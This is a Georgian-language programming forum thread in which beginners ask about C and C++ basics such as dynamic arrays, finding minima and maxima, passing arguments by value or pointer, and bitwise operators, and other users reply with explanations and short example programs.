თუ რო დავარეზერვო ეგ დროებითია და როდესაც რიცხვბს შევიტან მერე ავტომატურად რასაც ეს რიცხვები იკავებს მაგ ზომაზე დაჯდება ეს მასი?

აუ რა ჩახლართულად დავწერე. ;დ

Posted by: Yan-LoonG 21 Oct 2014, 18:34

Posted by: irakli8 21 Oct 2014, 20:27
Yan-LoonG
ამიტომ გეუბნები წიგნი აიღე და მიყევი თქო, vector კლასი მოძებნე

Posted by: Shredinger 21 Oct 2014, 20:55
Yan-LoonG
რამდენიმე გზა არის.
ერთ-ერთია C style:
CODE

int *ptr = (int *)malloc(sizeof(int)*size);


C++:
ვექტორები გამოიყენე.
CODE

std::vector<int> v;

Posted by: Yan-LoonG 22 Oct 2014, 21:30
irakli8
Shredinger
მადლობა :*


აუ რა მიანტერესებს დავალება მაქვს ასეთი მასივში უდიდესი და უმცირესი რიცხვი უნდა ვიპოვო და როგორ მოვიქცე?

Posted by: Shredinger 23 Oct 2014, 00:12
Yan-LoonG
დავალება შენია და შენ უნდა მოიფიქრო მაგაზე პასუხი smile.gif
მემგონი ყველაფერი იცი იმისათვის რო ეგ დაწერო უბრალოდ მოიფიქრე არაა ძნელი.

Posted by: irakli8 23 Oct 2014, 02:27
Yan-LoonG
მასივი უნდა დაალაგო ზრდის ან კლების მიხედვით და შესაბამისად თავში და ბოლოში მოხვდება უდიდესი და უმცირესი მნიშვნელობები.
უმარტივესია bubble sort პრინციპი ასეთია: თუ ზრდის მიხედვით ალაგებ მაშინ, უნდა შეამოწმო ჯერ პირველი წევრი, თუ იგი მეტია მის მომდევნოზე, მაშინ ადგილები უნდა გაუცვალო, შემდეგ მეორე წევრზეც იგივე და ა.შ. სანამ ბოლომდე არ ჩახვალ, შემდეგ კიდევ ახლიდან დაუვლი და გააგრძელებ მანამ, სანამ არ დალაგდება.
თუ შენით ააწყობ bubble sort-ს
დაგჭირდება ორი for ციკლი
ერთი დამატებითი ცვლადი, რომ მასივის მნიშვნელობები გაცვალო, ნუ სხვა ცვლადის გარეშეც შეიძლება რაღაც მიმატება გამოკლებით მნიშვვნელობების გაცვლა, ან კიდევ მზა ფუნქციას გამოიყენებ.
გჭირდება ასევე ერთი მასივი.

Posted by: Paul Adrian Maurice 23 Oct 2014, 04:14
irakli8
ცუდ გზას ასწავლი, სორტირება უფრო ძვირია ვიდრე უდიდესის პოვნა, მითუმეტეს bubble sort.
პირველი იყოს მაქსიმუმი (max = a[0]). შევადაროთ ეს მაქსიმუმი მეორეს. თუ მეორე უფრო დიდია, მაქსიმუმს მიანიჭე მეორე ელემენტი, თუ არა და დაიკიდე. მერე გადადი შემდეგ ელემენტზე. შეადარე მაქსიმუმს და ასე შემდეგ ბოლომდე.

Posted by: irakli8 23 Oct 2014, 12:41
Paul Adrian Maurice
მართალია, ეგ უკეთესი გზა არის. თუმცა ორივეს თუ გააკეთებს მთლად უკეთესი, ცოტა სორტირებაშიც გაერკვევა war.gif

Posted by: Yan-LoonG 23 Oct 2014, 13:52
irakli8
Paul Adrian Maurice
მადლობა გამომივიდა ;დ :*

Posted by: Yan-LoonG 15 Nov 2014, 18:52
პირველ შემთხვევაში გაუცვალა მნივნეობები და მეორე შემთხვევაში რატო არ გაცვალა ვერ ვხვდები sad.gif
რამე არასწორად გავაკეთე?

Posted by: Shredinger 15 Nov 2014, 19:01
Yan-LoonG
კი.
პირველ შემთხვევაში გადასცემ a და b ცვლადების მისამართს.
მეორე შემთხვევაში იმიტომ არ გამოდის რომ მნიშვნელობები კოპირდება.

ანუ როცა წერ

gua(a,b)

ფუნქციას გადაეცემა არა თვითონ a და b ცვლადები,არამედ მათი კოპირებული მნიშვნელობები.
ამას ქვია pass by value

პირველ შემთხვევაში ქვია pass by pointer

Posted by: Yan-LoonG 15 Nov 2014, 19:09
Shredinger
აა ანუ არგუმენტის მნიშვნელობა კოპირდება??? ანუ ასლი მიდის ფუნქციაში ხო?

Posted by: irakli8 15 Nov 2014, 23:47
Yan-LoonG
ხო ასლი მიდის ფუნქციაში და იმ ფუნქციის ცვლადებს ეცვლებათ მნიშვნელობა მხოლოდ.

Posted by: amaoeba 16 Nov 2014, 07:15
მოკლედ მე დზ დამწყები პროგრამისტი ვარ და აქ გავჭედე :დ

data.in ფაილში წერია სამნიშნა ნატურალური რიცხვები.ჩაწერეთ ეს რიცხვები prodact.out ფაილში, ოღონდ მათ შორის ყველა ლუწი რიცხვი შეცვალეთ ამავე რიცხვის ციფრების ნამრავლით(მაგალითად 234 შეცვალეთ 24 ით ) თუ არ დაგეზარებათ მომეხმარეთ რა

Posted by: koshogio 16 Nov 2014, 12:26
amaoeba

ეს კოდი არა მარტო სამნიშნა, მრავალნიშნა რიცხვისთვის იმუშავებს.

CODE
#include <iostream>
using namespace std;

int main()
{    
   int n, r, k=1;
   cout<<"sheiyvanet naturaluri ricxvi:  n= ";
  cin>>n;

if(n%2==0)
do{
r=n%10;
n=(n-r)/10;
k=k*r;
}
while(n>0);
else {
 cout<<"es ricxvi kentia"<<endl;
return 0; }
cout<<k<<endl;
   
}

Posted by: amaoeba 16 Nov 2014, 17:42
k ცვლადი რისთვის არის შემოტანილი ვერ გავიგე

Posted by: koshogio 16 Nov 2014, 17:45
amaoeba
QUOTE
k ცვლადი რისთვის არის შემოტანილი ვერ გავიგე

ციფრების ნამრავლი მაქ გროვდება.

Posted by: amaoeba 16 Nov 2014, 19:15
ანუ თვითონ ალგორითმი როგორ სრულდება ვერ გავიგე

Posted by: koshogio 16 Nov 2014, 19:34
amaoeba
r=n%10; აქ ნაშთის სახით გამოვყოფთ ბოლო ციფრს. მაგ: 234 -ის შემთხვევაში r=4-ს.
n=(n-r)/10; აქ n-ში მოვათავსებთ დარჩენილ რიცხვს, ანუ 234-4=230 და 230:10=23. n=23.
k=k*r; აქ თავიდან k=1-ს და 1*4=4 ანუ ციკლის პირველ გავლაზე k=4-ს.
მეორე გავლაზე r=3-ს, დაგვრჩება n=2-ს და k=4*3=12.
მესამე გავლაზე r=2, n=0, k=12*2=24. აქ ციკლი დამთავრდება, რადგან დაირღვევა პირობა n>0-ზე. ეკრანზე გამოჩნდება k=24.

Posted by: Yan-LoonG 24 Nov 2014, 20:45
sad.gif( აუ Bitwise Operators ვერ გავიგე რა რას აკეთებს ეს & ან | ვერ მივხვდი ....
* * *
QUOTE
აუ Bitwise Operators ვერ გავიგე რა რას აკეთებს ეს & ან | ვერ მივხვდი ....

ვსო მივხვდი ყველაფერი გავიგე
http://www.learncpp.com/cpp-tutorial/38-bitwise-operators/
ამის დახმარებით.

მაგრამ ერთი კითხვა მაქვს რა "ჯანდაბისთვის" დამჭირდება ეს??? biggrin.gif

Posted by: koshogio 24 Nov 2014, 21:48
Yan-LoonG
QUOTE
მაგრამ ერთი კითხვა მაქვს რა "ჯანდაბისთვის" დამჭირდება ეს???

აქ http://usaco.org/index.php?page=training არის ამოცანა, რომელსაც მაგის გარეშე ვერ ამოხსნი:

Broken Necklace

You have a necklace of N red, white, or blue beads (3<=N<=350) some of which are red, others blue, and others white, arranged at random. Here are two examples for n=29:


r red bead
b blue bead
w white bead
The beads considered first and second in the text that follows have been marked in the picture.

The configuration in Figure A may be represented as a string of b's and r's, where b represents a blue bead and r represents a red one, as follows: brbrrrbbbrrrrrbrrbbrbbbbrrrrb .

Suppose you are to break the necklace at some point, lay it out straight, and then collect beads of the same color from one end until you reach a bead of a different color, and do the same for the other end (which might not be of the same color as the beads collected before this).

Determine the point where the necklace should be broken so that the most number of beads can be collected.

Example

For example, for the necklace in Figure A, 8 beads can be collected, with the breaking point either between bead 9 and bead 10 or else between bead 24 and bead 25.

In some necklaces, white beads had been included as shown in Figure B above. When collecting beads, a white bead that is encountered may be treated as either red or blue and then painted with the desired color. The string that represents this configuration can include any of the three symbols r, b and w.

Write a program to determine the largest number of beads that can be collected from a supplied necklace.

PROGRAM NAME: beads

INPUT FORMAT

Line 1: N, the number of beads
Line 2: a string of N characters, each of which is r, b, or w
SAMPLE INPUT (file beads.in)

29
wwwbbrwrbrbrrbrbrwrwwrbwrwrrb
OUTPUT FORMAT

A single line containing the maximum of number of beads that can be collected from the supplied necklace.
SAMPLE OUTPUT (file beads.out)

11
OUTPUT EXPLANATION

Consider two copies of the beads (kind of like being able to runaround the ends). The string of 11 is marked.
Two necklace copies joined here
v
wwwbbrwrbrbrrbrbrwrwwrbwrwrrb|wwwbbrwrbrbrrbrbrwrwwrbwrwrrb
******|*****
rrrrrb bbbbb <-- assignments
rrrrr#bbbbbb
5 x r 6 x b <-- 11 total


CODE
/*
PROB: beads
LANG: C++
*/
#include<fstream>
#include<cstring>
using namespace std;
string s;
int n,i,x,n1,n2,c,ans;
int a[350];
ifstream f1 ("beads.in");
ofstream f2 ("beads.out");

main () {
f1>>n;
f1>>s;

for (i=0;i<n;i++)
 if(s[i]=='r') a[i]=1;
  else
 if(s[i]=='b') a[i]=2;
  else a[i]=0;

for(i=0; i<n; i++) {
 
 c=0; n1=0; x=i;
 while (n1<n) {
  x++;
  if(x==n) x=0;
  c=c|a[x];
  if(c==3) break;
  else n1++;
 }

 c=0; n2=0; x=i+1;
 while (n1+n2<n) {
  x--;
  if(x==-1) x=n-1;
  c=c|a[x];
  if(c==3) break;
  else n2++;
 }
 
 if(n1+n2>ans)ans=n1+n2;
}
f2<<ans<<endl;
}

ამ კოდში ბიტური შეკრებაა გამოყენებული.

Posted by: Dixtosa 24 Nov 2014, 21:58
QUOTE
აქ http://usaco.org/index.php?page=training არის ამოცანა, რომელსაც მაგის გარეშე ვერ ამოხსნი:

ეს ოპერაციები არასდროსაა აუცილებელი. მაგის გარეშეც გამოვა. ბულების მასივით ან თუნდაც bitset<>ით.


ერთადერთი რაც კაი აქ მაგას არის სიმარტივე ზოგიერთ ამოცანაში(დაგუგლე bitmask) და სისწრაფე.

Posted by: koshogio 24 Nov 2014, 22:00
Dixtosa
QUOTE
ერთადერთი რაც კაი აქ მაგას არის სიმარტივე ზოგიერთ ამოცანაში

ძალიან ამარტივებს.

Posted by: Dixtosa 24 Nov 2014, 22:01
QUOTE
ძალიან ამარტივებს.

რას ამარტივებს აბა?

Posted by: koshogio 24 Nov 2014, 22:14
Dixtosa
QUOTE
რას ამარტივებს აბა?

ამ ამოცანაში სამი ფერის მძივებია, აქედან ერთის ფერი (თეთრი) საჭიროების მიხედვით იცვლება. ერთ მხარეს ლაგდება ერთი ფერის მძივები, ოპერაცია წყდება სხვა ფერის მძივის შეხვედრისას ბიტური შეკრებით.

Posted by: Shredinger 24 Nov 2014, 22:57
ბიტებზე მანიპულირება low level ზე არის ძალიან მოსახერხებელი კი არადა მაგის გარეშე მგონი ვერ იზავ რაღაც რაღაცეებს.
ერთი პერიოდი kernel developing ს ვსწავლობდი,პატარა კერნელიც მაქვს დანაწერი მართალია 0 იდან მთლიანად ჩემით არაა ნაწერი მაგრამ ბიტური ოპერაციები იყო ოხრად კოდში,თავისი ბიტმასკებით.

განსაკუთრებით embedded device შია გამოსაყენებელი ვიდრე ჩვეულებრივ კომპიუტერზე.

Posted by: ika_s 8 Dec 2014, 21:30
ალლ ვექტორის კარგი ტუტორიალი არ იცით ქართულად ან რუსულად? და რამე პატარა ამოცანებიც ვექტორზე

Posted by: wixxen2012 9 Dec 2014, 18:50
#include <iostream>
using namespace std;
int x,a,b,c;
main () {
cin>>x;
a=x/10;
b=x%10;
c=a+b;
cout<<C<<endl;
system("pause")
}
ჩემი პირველი პროგრამა biggrin.gif

Posted by: koshogio 9 Dec 2014, 22:36
wixxen2012
ახლა ეს პროგრამა ცოტათი გადააკეთე და შეტანილი რიცხვი შებრუნებულად დააწერინე. მაგ: 123, ამობეჭდოს 321.

Posted by: wixxen2012 10 Dec 2014, 00:02
koshogio
ვქენი ეგეც
x=y
y=x
შევიტანე, მაგაზე ამბობ?
P.S 11 წლის ნუბი ვარ

Posted by: koshogio 10 Dec 2014, 00:39
wixxen2012
QUOTE
ვქენი ეგეც
x=y
y=x

არა, მასე დიდ რიცხვზე არ გამოვა. ციფრების თანმიმდევობა უნდა შეცვალოს. მაგ; 3957-ის ნაცვლად 7593.
დაგჭირდება რიცხვის ციფრებად დაშლა და უკუთანმიმდებრობით ამობეჭვდა.
ჯერ ციკლი თუ არ იცი, მხოლოდ ოთხნიშნა რიცხვზე გააკეთე.

Posted by: შაქროII 13 Dec 2014, 02:55
სპრინტფ ბუფერში ჩაბეჭდე და უკნიდან წაიკიტხე და ციფრში გადაიყვანე smile.gif

Posted by: irakli8 13 Dec 2014, 11:49
koshogio
QUOTE
x=y
y=x


QUOTE
არა, მასე დიდ რიცხვზე არ გამოვა.

დიდი რიცხვებზე კი არა, ასე ორივე ერთ მნიშვნელობას მიიღებს.

Posted by: Dixtosa 13 Dec 2014, 17:33
QUOTE
დიდი რიცხვებზე კი არა, ასე ორივე ერთ მნიშვნელობას მიიღებს.

რა გინდა ერთციფრაზე და პალინდრომებზე მუშაობს biggrin.gif

Posted by: DistrictA 15 Dec 2014, 23:55
#include <stdio.h>
#include <stdlib.h>
#include <conio.h>

int
main(){



int a,b,c,udidesi,umciresi;
printf("shemoitanet 3 mteli ricxvi udidesisa da umciresis gasagebad:\n");
printf("pirveli ricxvi: ");
scanf("%i",&a);
printf("meore ricxvi: ");
scanf("%i",&b);
printf("mesame ricxvi: ");
scanf("%i",&c);
umciresi=a;
if(b<umciresi) umciresi=b;
if(c<umciresi) umciresi=c;
printf("Umciresi =%d\n", umciresi);
udidesi=c;
if(b>udidesi) udidesi=b;
if(a>udidesi) udidesi=a;
printf("Udidesi =%d\n", udidesi);

getch();
return 0;
}

პირველი გაკვეთილი მქონდა C/C++ ში და ჩემით დავწერე სახლში რო მოვედი, ცუდი სტილით მიწერია?

Posted by: koshogio 16 Dec 2014, 22:21
DistrictA
QUOTE
ცუდი სტილით მიწერია?

პირველი პროგრამისთვის არა უშავს.
აქ დაგიწერე მარტივი პროგრამა, რომელიც დაალაგებს რიცხვებს (მეთოდს ბუშტულების ამოტივტივება ქვია) და ამობეჭდავს მაქსიმუმის და მინიმუმის მნიშვნელობებს. რიცხვების რაოდენობა 1<=n<=100 ფარგლებშია, მნიშვნელობები თუ გინდა რამდენიმე მილიონის (int) ფარგლებში.
შენ შეგიძლია გადააკეთო და ყველა რიცხვი ამოაბეჭვდინო დალაგებულად ან ზრდადობით ან კლებადობით.
CODE
/*maqsimumis da minimumis povna*/
#include<iostream>
using namespace std;
int x[101],n,i,j;

main(){

cin>>n; //shetanili ricxvebis raodenoba
for (i=1;i<=n;i++)
  cin>>x[i]; //shetanili risxvebi
 
for(i=1; i<2*n; i++)  //dalageba klebadobit
 for(j=i+1; j<=2*n; j++)
  if(x[j]>x[i]) swap(x[j],x[i]);
 
cout<<"max= "<<x[1]<<" "<<"nin= "<<x[n]<<endl;  
}

Posted by: DistrictA 16 Dec 2014, 23:36
QUOTE (koshogio @ 16 Dec 2014, 22:21 )
DistrictA
QUOTE
ცუდი სტილით მიწერია?

პირველი პროგრამისთვის არა უშავს.
აქ დაგიწერე მარტივი პროგრამა, რომელიც დაალაგებს რიცხვებს (მეთოდს ბუშტულების ამოტივტივება ქვია) და ამობეჭდავს მაქსიმუმის და მინიმუმის მნიშვნელობებს. რიცხვების რაოდენობა 1<=n<=100 ფარგლებშია, მნიშვნელობები თუ გინდა რამდენიმე მილიონის (int) ფარგლებში.
შენ შეგიძლია გადააკეთო და ყველა რიცხვი ამოაბეჭვდინო დალაგებულად ან ზრდადობით ან კლებადობით.
CODE
/*maqsimumis da minimumis povna*/
#include<iostream>
using namespace std;
int x[101],n,i,j;

main(){

cin>>n; //shetanili ricxvebis raodenoba
for (i=1;i<=n;i++)
  cin>>x[i]; //shetanili risxvebi
 
for(i=1; i<2*n; i++)  //dalageba klebadobit
 for(j=i+1; j<=2*n; j++)
  if(x[j]>x[i]) swap(x[j],x[i]);
 
cout<<"max= "<<x[1]<<" "<<"nin= "<<x[n]<<endl;  
}

დიდი მადლობა კოდისთვის,
ჯერ C ზე ვარ და ეგ როგორც მივხვდი C++ ია ხო? ძალიან მეუცხოვა მთლიანად კოდი, მერე მაინტერესებდა visual studio თი debug ი ვუქენი და ერორი ამომიგდო

QUOTE
1>c:\users\nika\documents\visual studio 2008\projects\1\1\1.cpp(6) : error C4430: missing type specifier - int assumed. Note: C++ does not support default-int



Posted by: Shredinger 17 Dec 2014, 00:00
DistrictA
int main() უნდა დაწერო.

Posted by: koshogio 17 Dec 2014, 00:26
DistrictA
QUOTE
C++ ია ხო?

კი. პირდაპირ ამ პროგრამით http://sourceforge.net/projects/orwelldevcpp/ გახსენი ფაილი და F11-ს დააკლიკე.

Posted by: DistrictA 17 Dec 2014, 00:43
მოკლედ ინგლისში მივდივარ ზაფხულიდან foundation კურსზე და შემდეგ პირველ კურსზე უკვე კომპიუტერული მეცნიერების განხრით. პროგრამისტობა მინდა, კომპიუტერთან ახლოს ვარ ვერ ვწყდები ასე ვთქვათ, ბავშვობიდან საიტებს ვაკეთებ 10-11 წლის უკვე html css ვიქექებოდი მაგრამ პროგრამირებას არ გავკარებივარ. ეხლა სანამ წავალ შევედი spar ასეთი კომპანიაა spar.ge ამათთან C++ კურსზე, ჩემი პირველი პროგრამირების ენაა C თი დავიწყეთ ოღონდ.
რას ფიქრობთ უკვე ჩამოყალიბებულო პროგრამისტებო რამე რჩევა ხომ არ გექნებათ ჩემთვის, 2 თვიანი კურსია მოვასწრებ ბოლომდე სწავლას? ან საერთოდ პროგრამისტად ჩამოყალიბებას ? 12 კლასელი ვარ. მათემატიკასთანაც კარგად ვარ. როგორ დაიწყეთ თქვენ და რა ეტაპები გაიარეთ იქნებ დამიწეროთ.
დიდი მადლობა წინასწარ

Posted by: amaoeba 18 Dec 2014, 03:50
შექმენით სამი ფუნქცია. ერთმა მათგანმა უნდა დაადგინოს, შედგება თუ არა პარამეტრად
გადაცემული სიტყვა ზუსტად ექვსი სიმბოლოსგან. მეორე ფუნქციამ უნდა დაადგინოს, არის
თუ არა პარამეტრად გადაცემული სიტყვის მეორე სიმბოლო 'a'-ს ტოლი. ვექტორის ბეჭდვაც
გააფორმეთ ფუნქციის სახით, - ვექტორის ტიპი და ბეჭდვის ფორმატი განსაზღვრეთ ამოცანის
შინაარსიდან და მიუთითეთ ორი განსხვავებული გზა ბეჭდვის ფუნქციაში პარამეტრების
გადაცემისთვის.
პროგრამაში შექმენით სტრინგების ვექტორი და ჩაწერეთ მასში კლავიატურიდან შემოტანილი
11 სიტყვა. პირველი ფუნქციის გამოყენებით ამოარჩიეთ მათგან ზუსტად ექვსი სიმბოლოსგან
შედგენილი სიტყვები, გადაწერეთ ისინი ახალ ვექტორში, დაახარისხეთ ზრდადობით და
დაბეჭდეთ ეკრანზე9 სვეტად. მეორე ფუნქციის გამოყენებით ახალი ვექტორიდან სიტყვები,
რომლების მეორე სიმბოლო 'a'-ს ტოლია, დაბეჭდეთ იგივე ფორმატით. ბეჭდვები
განახორციელეთ ფუნქციების გამოყენებით.
აქ ყველაფერი გავაკეთე ერთი რამის გარდა აი რომ ამბობს მიუთითეთ ორი განსხვავებული გზა ბეჭდვის ფუნქციაში პარამეტრების გადაცემისთვისო მანდ რა უნდა ვქნა?
#include<iostream>
#include<vector>
#include<string>
#include<algorithm>
#include<cmath>
using namespace std;
bool func1(string);
bool func2(string);
void printvector(vector<string>&, int k);
void printvector(vector<string>&);
int main(){
vector<string>v, v2, v3;
string a;
for(int i=0; i<5; i++){
cin>>a;
v.push_back(a);}
for(int k=0; k<v.size(); k++){
if(func1(v[k]))
v2.push_back(v[k]);};
sort(v2.begin(), v2.end());
printvector(v2);
for(int l=0; l<v2.size(); l++){
if(func2(v2[l]))
v3.push_back(v2[l]);
}
cout<<endl;
printvector(v3);
printvector(v3, 3);
return 0;
}

bool func1(string x){
if(x.size()==6)
return true;
else return false;
}
bool func2(string y){
if(y[1]=='a')
return true;
else return false;
}
void printvector(vector<string> v, int k){
for(int i=0; i<v.size(); i++) {
cout<<v[i]<<'\t';
if((i+1)%k==0)
cout<<endl;}

}
void printvector(vector<string>& v){
for(int i=0; i<v.size(); i++) {
cout<<v[i]<<'\t';
if((i+1)%9==0)
cout<<endl;}

}
ეს არის რაც მე გავაკეთე

Posted by: DistrictA 22 Dec 2014, 18:35
QUOTE (DistrictA @ 17 Dec 2014, 00:43 )
მოკლედ ინგლისში მივდივარ ზაფხულიდან foundation კურსზე და შემდეგ პირველ კურსზე უკვე კომპიუტერული მეცნიერების განხრით. პროგრამისტობა მინდა, კომპიუტერთან ახლოს ვარ ვერ ვწყდები ასე ვთქვათ, ბავშვობიდან საიტებს ვაკეთებ 10-11 წლის უკვე html css ვიქექებოდი მაგრამ პროგრამირებას არ გავკარებივარ. ეხლა სანამ წავალ შევედი spar ასეთი კომპანიაა spar.ge ამათთან C++ კურსზე, ჩემი პირველი პროგრამირების ენაა C თი დავიწყეთ ოღონდ.
რას ფიქრობთ უკვე ჩამოყალიბებულო პროგრამისტებო რამე რჩევა ხომ არ გექნებათ ჩემთვის, 2 თვიანი კურსია მოვასწრებ ბოლომდე სწავლას? ან საერთოდ პროგრამისტად ჩამოყალიბებას ? 12 კლასელი ვარ. მათემატიკასთანაც კარგად ვარ. როგორ დაიწყეთ თქვენ და რა ეტაპები გაიარეთ იქნებ დამიწეროთ.
დიდი მადლობა წინასწარ

^^^^^^^^^^^^^^^^^

არის აქ ვინმე?

Posted by: Paul Adrian Maurice 22 Dec 2014, 20:55
DistrictA
2 თვეში გინდა C++ის ბოლომდე სწავლა? მთელი ცხოვრება არ გეყოფა biggrin.gif მაგრამ ორ თვეში ელემენტარულ რაღაცეებს ისწავლი (ფიბონაჩის მიმდევრობას დაწერ biggrin.gif ), თან ცოტა C თუ იცი. C++თან პირველად შეხება მქონდა 12 წლის წინ და წესიერად დღესაც არ ვიცი. თუ გგონია რომ 2 თვეში პროგრამისტად ჩამოყალიბება შეუძლია ადამიანს, უნივერსიტეტში რას აბარებ? ორთვიანი კურსი პითონში რომ გაიარო, რაღაცას დაწერ ვინმეს რომ აჩვენო აი ეს გავაკეთეო. C++ში ბევრად მეტი დრო დაგჭირდება.

Posted by: Shredinger 22 Dec 2014, 21:14
DistrictA
C++ ის ბოლომდე სწავლას 2 თვეში რაც არუნდა გენიოსი იყო ვერ შეძლებ უბრალოდ შეუძლებელია 2 თვეში ისწავლო ბოლომდე C++
ჯანდაბას ვთქვათ მოხდა სასწაული და 2 თვეში ისწავლე C++ სინტაქსი,წიგნებით,ტუტორიალებით და ა.შ
ცუდი ის იქნება რო:
1) მალე დაგავიწყდება
2) C++ რომც ისწავლო. მასთან მუშაობის გამოცდილება უნდა გქონდეს უნდა გქონდეს ბევრი პროექტები ნაწერი. C++ არის ბევრი ისეთი რამ რასაც ვერ წაიკითხავ შენ თვითონ უნდა გაითავისო

C ენის სწავლას კიდე შეიძლება 2 თვეში ჩაატიო მაგრამ აქაც გამოცდილების პრობლემა ჩნდება. მარტო C ენის სწავლა არ ნიშნავს რომ იცი C ენა.
და მარტო C++ ის სწავლა და ცოდნა არ ნიშნავს,რომ შენ უკვე იცი C++

C++ სთან ერთად გჭირდება ბევრი ბიბლიოთეკა. WInAPi,Boost,STL,POSIX,Qt,GTK+ და ა.შ
უნდა იცოდე სხვადასხვა რაღაცეები მაგალითად რა არის ნაკადები,რა არის პროცესი,ვირტუალირი მეხსიერება,სჩედულერი და

მოკლედ

C++ - ს ვერ ისწავლი 2 თვეში
მაგრამ საფუძვლებს,საწყისებს აკრიფავ ამ დროში.

Posted by: DistrictA 22 Dec 2014, 22:09
Paul Adrian Maurice
ფიბონაჩის მიმდევრობას ვწერ უკვე 3 გაკვეთილია რაც დავდივარ smile.gif და სხვა მათემატიკურ განტოლებებსაც.
მე არ მიკითხავს პროგრამისტად ჩამოყალიბებას თუ შევძლებ 2 თვეში თქო მე ვიკითხე პროგრამისტად ჩამოყალიბებას თუ შევძლებ ეხლა რო დავიწყე მე12 კლასიდან თქო. იმიტო რო ვიცი პროგრამისტები ბავშვობიდან რო სწავლობენ.

Shredinger
მადლობა, ნელნელა გავერკვევი.

Posted by: Paul Adrian Maurice 22 Dec 2014, 22:24
DistrictA
რატომ ვერ შეძლებ? ასაკს რა მნიშვნელობა აქვს? ეგ არის ყველაზე იდიოტური სტერეოტიპი რომ თითქოს აკვნიდან თუ არ დაიწყე პროგრამირება, პროგრამისტი ვერ გამოხვალ. პროგრამირების შემქმნელებს ბავშვობაში საერთოდ არ ქონდათ კომპიუტერი, არ არსებობდა პერსონალური კომპიუტერი. პროგრამირების სწავლა 23 წლის ასაკში დავიწყე, იმიტომ რომ დამჭირდა, არც მაინტერესება. ნელნელა შემომესწავლა. დარწმუნებული ვარ მუწუკებიან აკვინდან პროგრამისტებზე ათასჯერ უკეთ დავწერ ჩემი სპეციალობისთვის საჭირო პროგრამას.

ჩემი რჩევაა პრიდაპირ C++11-ით დაიწყო. პოინტერები მინიმალურად გამოიყენე, თუ იყენებ მაშინ სმარტპოინტერი გამოიყენე. მაქსიმალურად გამოიყენე STL ბიბლიოთეკა. ჭკვიანურად თუ მიუდგები, C++ სხვა ენაზე, მაგალითად ჯავაზე რთული არაა.

Posted by: DistrictA 22 Dec 2014, 23:29
QUOTE (Paul Adrian Maurice @ 22 Dec 2014, 22:24 )
DistrictA
რატომ ვერ შეძლებ? ასაკს რა მნიშვნელობა აქვს? ეგ არის ყველაზე იდიოტური სტერეოტიპი რომ თითქოს აკვნიდან თუ არ დაიწყე პროგრამირება, პროგრამისტი ვერ გამოხვალ. პროგრამირების შემქმნელებს ბავშვობაში საერთოდ არ ქონდათ კომპიუტერი, არ არსებობდა პერსონალური კომპიუტერი. პროგრამირების სწავლა 23 წლის ასაკში დავიწყე, იმიტომ რომ დამჭირდა, არც მაინტერესება. ნელნელა შემომესწავლა. დარწმუნებული ვარ მუწუკებიან აკვინდან პროგრამისტებზე ათასჯერ უკეთ დავწერ ჩემი სპეციალობისთვის საჭირო პროგრამას.

ჩემი რჩევაა პრიდაპირ C++11-ით დაიწყო. პოინტერები მინიმალურად გამოიყენე, თუ იყენებ მაშინ სმარტპოინტერი გამოიყენე. მაქსიმალურად გამოიყენე STL ბიბლიოთეკა. ჭკვიანურად თუ მიუდგები, C++ სხვა ენაზე, მაგალითად ჯავაზე რთული არაა.

ჯერ მე3 გაკვეთილი მქონდა და C++ ზე არ ვარ, C ს ვსწავლობ ჯერ, 3 თვიანი კურსია.
რამდენი ხანი დაგჭირდა კარგ პროგრამისტად ჩამოყალიბებაში? მე ის ფაქტორი მაშინებს ცოტა, ინგლისურ ენაზე რო მომიწევს ისედაც ჩემთვის უცხო (პროგრამული) ენის შესწავლა, არადა ერთერთ საუკეთესო უნივერსიტეტში kings college ში მივდივარ და მინდა იქ უკვე მზად ვიყო როდესაც ჩავალ.

Posted by: Paul Adrian Maurice 23 Dec 2014, 00:32
DistrictA
პროგრამისტი ახლაც არ ვარ, ფიზიკოსი ვარ. პროგრამისტები უკეთ გიპასუხებენ. პროგრამირებას ათ წელზე მეტი ნელ-ნელა ვსწავლობდი, მაგრამ სერიოზულ პროექტებზე მუშაობა შარშან დავიწყე. მანამდეც მჭირდებოდა, მაგრამ სერიოზულ დონეზე არა.

Posted by: შაქროII 23 Dec 2014, 00:38
QUOTE
პოინტერები მინიმალურად გამოიყენე,

ხანდახან აუცილებელია ადრესის ქეშირებისთვის.
+ მაქსიმალურად გამოიყენე კონსტ--ობიექტებისტვის რომელიც ა რიცვლება
და მისამართით გადაცემა.
მინიმალურად ვირუალური ფუნქციები...და იF.
ჯობია 300 ჯერ გაამრავლო ვიდრე 100 ჯერ იF შეამოწმო

Posted by: Komponent 8 Jan 2015, 10:55
<< ;
| ;
&
C-ში ესენი რას ნიშნავს?

Posted by: koshogio 8 Jan 2015, 16:06
Komponent
QUOTE
C-ში ესენი რას ნიშნავს?

| ბიტური მიმატება;
& ბიტური გამრავლება.

Posted by: Komponent 8 Jan 2015, 23:29
koshogio
დიდი მადლობა.
<< -ესღა დარჩა

Posted by: Dirac 9 Jan 2015, 19:28
Komponent
<< და >> არის ბიტური წანაცვლებები. ძალიან მოხერხებულია 2-ის ნატურალურ ხარისხში ასაყვანად.

ორობით სისტემაში 2 არის 10. ეს რომ ერთი ადგილით წაანაცვლო, მიიღებ 100-ს (ორობითში), ორით რომ წაანაცვლო მიიღებ 1000-ს.
ამიტომ 2<<1 არის 4,
2<<2 არის 8.

>> კიდე საპირისპირო რამეს შვება
2>>1 = 1

Posted by: Komponent 9 Jan 2015, 23:04
Dirac
მადლობა.
ეტყობა მიკროკონტროლერის დაპროგრამებაში სხვა რაღაცას ნიშნავს. არადა ამბობენ C ენით პროგრამდებაო.
მერე შეიძლება არდუინოს იდეს ბიბლიოთეკები გავარჩიო და ზოგ რამეს იქიდან გავიგებ.

Posted by: შაქროII 10 Jan 2015, 13:22
Komponent
იქაც ზუსტად იგივეს ნიშნავს.
დაახლოებით ასეა:
თუ გაქვს მაგ. 4 პინი და ყველა ნულია გაქვს 0000
თუ გინდა რომ აანთო მესამე პინი
int a=4;
da
fprintf(pointerofmydevice,a);
mogcems 0100
წანაცვლების ოპერატორით ცვლი a-სდა შესაბამისად იცვლება 0 და 1 ები პინებზე

Posted by: Komponent 10 Jan 2015, 17:38
შაქროII
მადლობა
ეს პროგრამა არდუინოს იდედან:
#include <util/delay.h>
#define LED 1
void setup()
{
DDRB = 0b00000010;
//DDRB = (1<<LED);
}
void loop()
{
PORTB = (1<<LED);
_delay_ms(100);
PORTB = (0<<LED);
_delay_ms(100);
}
